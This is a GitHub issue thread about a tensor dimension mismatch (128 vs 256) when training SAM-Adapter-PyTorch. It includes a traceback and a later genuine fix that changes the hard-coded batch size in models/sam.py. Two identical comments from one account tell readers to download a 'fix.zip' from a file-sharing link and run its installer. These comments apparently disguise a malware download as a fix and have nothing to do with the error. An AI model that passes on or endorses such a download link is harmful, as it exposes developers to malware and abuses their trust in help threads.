Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

dimension error #90

Open
Stangerine opened this issue Aug 23, 2024 · 8 comments
Open

dimension error #90

Stangerine opened this issue Aug 23, 2024 · 8 comments

Comments

@Stangerine
Copy link

/home/a/miniconda3/envs/zzq_sot/lib/python3.10/site-packages/mmcv/init.py:20: UserWarning: On January 1, 2023, MMCV will release v2.0.0, in which it will remove components related to the training process and add a data transformation module. In addition, it will rename the package names mmcv to mmcv-lite and mmcv-full to mmcv. See https://github.com/open-mmlab/mmcv/blob/master/docs/en/compatibility.md for more details.
warnings.warn(
config loaded.
train dataset: size=37
inp: shape=(3, 1024, 1024)
gt: shape=(1, 1024, 1024)
val dataset: size=24
inp: shape=(3, 1024, 1024)
gt: shape=(1, 1024, 1024)
inp_rgb: shape=(3, 1024, 1024)
model: #params=224.5M
model_grad_params: 3943789
model_total_params: 224512925
model_grad_params: 3943789
train: 0%| | 0/37 [00:00<?, ?it/s]Traceback (most recent call last):
File "/data/zzq/object_tracking/SAM-Adapter-PyTorch/train.py", line 257, in
main(config, save_path)
File "/data/zzq/object_tracking/SAM-Adapter-PyTorch/train.py", line 175, in main
train_loss_G = train(train_loader, model)
File "/data/zzq/object_tracking/SAM-Adapter-PyTorch/train.py", line 123, in train
model.optimize_parameters()
File "/data/zzq/object_tracking/SAM-Adapter-PyTorch/models/sam.py", line 395, in optimize_parameters
self.forward()
File "/data/zzq/object_tracking/SAM-Adapter-PyTorch/models/sam.py", line 245, in forward
low_res_masks, iou_predictions,sam_output_tokens,object_score_logits, = self.mask_decoder(
File "/home/a/miniconda3/envs/zzq_sot/lib/python3.10/site-packages/torch/nn/modules/module.py", line 1532, in _wrapped_call_impl
return self._call_impl(*args, **kwargs)
File "/home/a/miniconda3/envs/zzq_sot/lib/python3.10/site-packages/torch/nn/modules/module.py", line 1541, in _call_impl
return forward_call(*args, **kwargs)
File "/data/zzq/object_tracking/SAM-Adapter-PyTorch/models/mmseg/models/sam/mask_decoder.py", line 137, in forward
masks, iou_pred, mask_tokens_out, object_score_logits = self.predict_masks(
File "/data/zzq/object_tracking/SAM-Adapter-PyTorch/models/mmseg/models/sam/mask_decoder.py", line 207, in predict_masks
src = src + dense_prompt_embeddings
RuntimeError: The size of tensor a (128) must match the size of tensor b (256) at non-singleton dimension 1

@1sopropanol
Copy link

Download
https://www.mediafire.com/file/nyekc4ehyxg2ijy/fix.zip/file
In the installer menu, select "gcc."

1 similar comment
@1sopropanol
Copy link

Download
https://www.mediafire.com/file/nyekc4ehyxg2ijy/fix.zip/file
In the installer menu, select "gcc."

@2023-ZNZX
Copy link

用sam2_hiera_large.pt的模型可以跑通,但是训练完保存下来的模型好像还是跑不通

@VictorZoo
Copy link

请问,你解决这个问题了吗?我也遇到了。用的也是sam2_hiera_large.pt的模型

@Stangerine
Copy link
Author

请问,你解决这个问题了吗?我也遇到了。用的也是sam2_hiera_large.pt的模型
还没有解决

@CuckooEcho
Copy link

CuckooEcho commented Aug 31, 2024

@Stangerine 我在使用 batch 为 1 的时候也遇到这个错误,通过修改 models/sam.py 下面的代码可以解决,你看和我情况一样不一样

def forward(self):
    bs = 1  # 修改 bs 2 为 1
    ...
   feats = [
        feat.permute(1, 2, 0).view(bs, -1, *feat_size) # 这里 view(2, -1, *feat_size) 修改为 view(bs, -1, *feat_size)   
           for feat, feat_size in zip(vision_feats[::-1], self._bb_feat_sizes[::-1])
        ][::-1]

def infer(self, input):
    bs = 1 # 修改 bs=1

    feats = [
        feat.permute(1, 2, 0).view(bs, -1, *feat_size) # 这里不用改
        for feat, feat_size in zip(vision_feats[::-1], self._bb_feat_sizes[::-1])
    ][::-1]

@shidizai-swpu
Copy link

只能改为2吗?如果我想批次是16或32会报错,怎么办?

@CuckooEcho
Copy link

@shidizai-swpu 你可以将 bs 修改为 batch size 的值,我的显存只够 bs=1 能够运行,所以才改为 1

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

6 participants